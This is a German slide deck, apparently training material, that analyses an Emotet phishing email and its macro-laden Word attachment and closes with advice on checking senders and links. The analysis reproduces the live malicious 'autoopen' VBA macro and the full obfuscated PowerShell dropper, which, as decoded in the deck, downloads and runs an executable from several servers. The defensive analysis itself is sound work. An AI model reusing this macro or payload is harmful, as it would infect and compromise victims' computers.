
Malware Analyse 
„Peter“

Max Ziegler, Leiter der SKYTALE Online-Akademie

19.09.2017
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Vorgeschichte

Folgende Email erreichte heute einen Kunden („Peter“):



Vorgeschichte

Da der Kunde die Absenderin persönlich kannte und unter großem Stress stand, 

klickte er auf den Link und öffnete das angehängte Word-Dokument

Offene Frage: Woher stammen die Hintergrund-Informationen?

Anscheinend wusste der Angreifer

• Den Namen und die Email-Adresse einer aktuellen Kundin von „Peter“.

• Dass „Peter“ und die Kundin sich duzen.

• Dass aktuell zwei Rechnungen offen sind und dass die Kundin den Status der 

Rechnungen prüfen wollte.
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Wohin zeigt der Link?

Der Link aus der Email

http://pasturesnewcharity.org/wp-content/...

gehört zur Webseite einer 

gemeinnützigen Organisation in 

UK, die ausgedienten Rennpferden 

eine neue Zukunft bieten wollen.
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HmmmmΧΦ
Vermutlich gehackt?



Erste Analyse des Systems

Beim Aufruf des Links wird ein Word-Dokument heruntergeladen:
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Peter ist nicht der erste

Heise Security berichtet aktuell von diesem Fall:

https://www.heise.de/security/meldung/Achtun

g-Aktuelle-Spam-Mails-faelschen-Absender-von-

Mitarbeitern-3834782.html

https://www.heise.de/security/meldung/Achtung-Aktuelle-Spam-Mails-faelschen-Absender-von-Mitarbeitern-3834782.html


Virenscanner?

Erschreckend - die Analyse unter https://www.virustotal.com ergibt, dass 

nur 4 von 58 (!!) Virenscannern das Word-Dokument als gefährlich erkennen.
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https://www.virustotal.com/


Analyse des Falls
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Analyse des Word-Dokuments

Das Word-Dokument enthält 

zahlreiche Word-Makros mit 

kryptischen Namen und Variablen.
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Analyse des Word-Dokuments

Die Funktion “autoopen“ wird beim Start ausgeführt:

Sub autoopen()

BtcNawFuYna

End Sub

Die aufgerufene Funktion “BtcNawFuYna“ ruft einige kryptische Befehle und Variablen auf:

Public Function BtcNawFuYna()

On Error Resume Next

VBA.Shell $ "" + CFacgbuM + veTmDPxBBb + zwXWMFF + RczZgzVVR + vbCHyBnvTf + XxPSCDdbT + tvudZgcww + gFSxPkkEk + PFETVNPNWdT + 

yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV + ActiveDocument.CustomDocumentProperties (" sVUTrmdRcM") + CFacgbuM + veTmDPxBBb + zwXWMFF + 

RczZgzVVR + vbCHyBnvTf + XxPSCDdbT + tvudZgcww + gFSxPkkEk + PFETVNPNWdT + yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV + 

ActiveDocument.BuiltInDocumentProperties ("Comments") + CFacgbuM + veTmDPxBBb + zwXWMFF + RczZgzVVR + vbCHyBnvTf + XxPSCDdbT + 

tvudZgcww + gFSxPkkEk + PFETVNPNWdT + yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV + XndxnUNtPe, 0

End Function

Alle anderen Funktionen werden nicht aufgerufen, sondern dienen nur der Täuschung / Obfuscation.
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Analyse des Word-Dokuments
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Aufruf 

powershell -e

aus dem Makro 
heraus.

Versteckt in den 
Eigenschaften des 
Dokuments.

Das 
Kommentarfeld 
enthält einen 
Base64 kodierten 
String.

VBA.Shell $ "" + CFacgbuM + veTmDPxBBb + zwXWMFF + RczZgzVVR + vbCHyBnvTf + XxPSCDdbT + tvudZgcww + gFSxPkkEk + 
PFETVNPNWdT + yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV + ActiveDocument.CustomDocumentProperties (" sVUTrmdRcM") + CFacgbuM + 
veTmDPxBBb + zwXWMFF + RczZgzVVR + vbCHyBnvTf + XxPSCDdbT + tvudZgcww + gFSxPkkEk + PFETVNPNWdT + yhXMtYVRwmM + 
ADmXMHbLhRD + TLaXwSV + ActiveDocument.BuiltInDocumentProperties ("Comments") + CFacgbuM + veTmDPxBBb + zwXWMFF + 
RczZgzVVR + vbCHyBnvTf + XxPSCDdbT + tvudZgcww + gFSxPkkEk + PFETVNPNWdT + yhXMtYVRwmM + ADmXMHbLhRD + TLaXwSV + 
XndxnUNtPe, 0
End Function

Alle übrigen Ausdrücke laufen auf einen Fehler, der aber ignoriert wird (Ą nur Täuschung)



Dekodieren des Base64 Codes

1) Decode:  perl -MMIME::Base64 -ne 'print decode_base64($_)' < file

inVoKe-ExprEssiOn( -JOin('36e119,115,99@114e105-112-116i32_61Y32Y110i101b119-45t111e98_106t101t99t116e32e45@67@111i109j79Y98e106j101i99@116j32-87Y83Y99j114e105j112-

116i46Y83b104_101_108b108i59-36@119-101Y98i99Y108-105i101b110j116i32,61_32t110-101t119e45Y111b98,106j101_99b116Y32e83Y121@115-116e101_109i46_78_101-116,46-

87b101@98b67Y108_105-101i110j116,59@36b114Y97-110t100_111-109,32j61t32@110e101@119,45i111-98Y106b101e99b116j32j114j97j110t100Y111_109e59j36-117t114j108@115b32t61e32-

39_104_116_116b112b58@47@47i100@111@119b110e108b111t119_112i105,99,116t117b114@101b115-46Y99e111@109b47e84_106t80Y69t87i97@75b108@47j44-104e116t116@112_58,47_47@101-

116@104,101j114b51_46e99i111t109t47Y88e97Y70Y75Y118t98e47e44i104,116i116_112-58t47i47@100b97-110i97_104@105-116-

97Y46,119j101_98t46j105j100i47_120i121t99,117b90Y86t82i47@44j104-116Y116Y112b58@47b47b100j106-97Y110j103-111_46j99Y111e46@106-

112e47,102e77j114@89t102_47_44@104Y116@116i112e58i47@47@104@111_116i98b111j120Y100,105Y103-105Y116t97,108b46,99e111_109@47-113j90@47Y39_46-83_112-108-

105b116b40b39i44t39-41Y59-36_110j97e109t101i32-61i32t36b114_97@110-100i111_109Y46b110_101i120,116@40Y49_44-32e54,53-53@51j54-41Y59j36-112,97e116Y104t32Y61t32-

36@101b110,118@58-116i101-109b112e32@43-32b39_92t39e32e43t32t36e110t97@109e101Y32Y43j32e39-46,101i120@101-39e59-102i111,114,101b97i99@104@40b36-

117,114Y108,32j105_110b32j36t117b114e108-115t41e123,116@114i121i123e36@119_101@98i99j108j105_101@110b116-46e68b111@119-110-108e111-

97j100i70,105@108@101Y40i36@117e114j108_46t84e111_83t116_114_105-110,103_40@41j44j32b36-112-97j116-104_41@59i83Y116j97,114b116e45b80,114_111_99,101e115-115-

32_36@112j97,116j104,59@98_114i101,97t107@59i125,99-

97i116i99@104e123,119t114@105t116t101e45j104t111@115Y116j32j36t95t46i69_120@99,101_112i116_105,111_110j46i77_101,115t115_97j103@101b59_125i125'.SplIT('Ybe@-j,t_i' ) |fOrEaCH-OBjEct{( 

[chAr][int] $_)} )) 

2) Aufruf des leicht angepassten Befehls in der PowerShell:

Ersetzt man "inVoKe-ExprEssiOn(" duch "echo" und entfernt man die letzte Klammer (um die Syntax zu gewährleisten), kann man sich den in der Powershell nochmals kodierten Text ausgeben lassen:
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Dekodieren des Base64 Codes

Ergebnis nach der zweiten Dekodierung:

Der VBS-Code lädt also eine EXE-Datei von einem der fünf Server nach und führt diese aus
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Analyse der EXE-Datei

Keine ausreichende Erkennung unter virustotal oder malwr :

Laut Heise-Artikel enthält die EXE den 

Banking-Trojaner Emotet ! 15
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https://malwr.com/analysis/ZDU3MzgwODc3ZjY1NDBkYzg4OGRkMDViMjA5ZjE0MTQ/


Was tun?
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Was tun?

• Kontrollieren Sie immer den Absender, auch wenn Sie ihn kennen.
Im vorliegenden Fall kam die Mail angeblich von der Kundin „Irena“, aber bei genauem Hinsehen von Grzegor aus Polen (.pl)

• Prüfen Sie die Links, auf die Sie klicken, vorher.
(Land, Kontext, Verschlüsselung usw.)

• Schulen Sie sich und Ihre Mitarbeiter in Sachen Internet Security.
Sprechen Sie uns an.
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Weiterbildung ist die beste Verteidigung.

Kontakt:

max.ziegler@skytale.academy

https://skytale.academy

02941 / 660 96 90


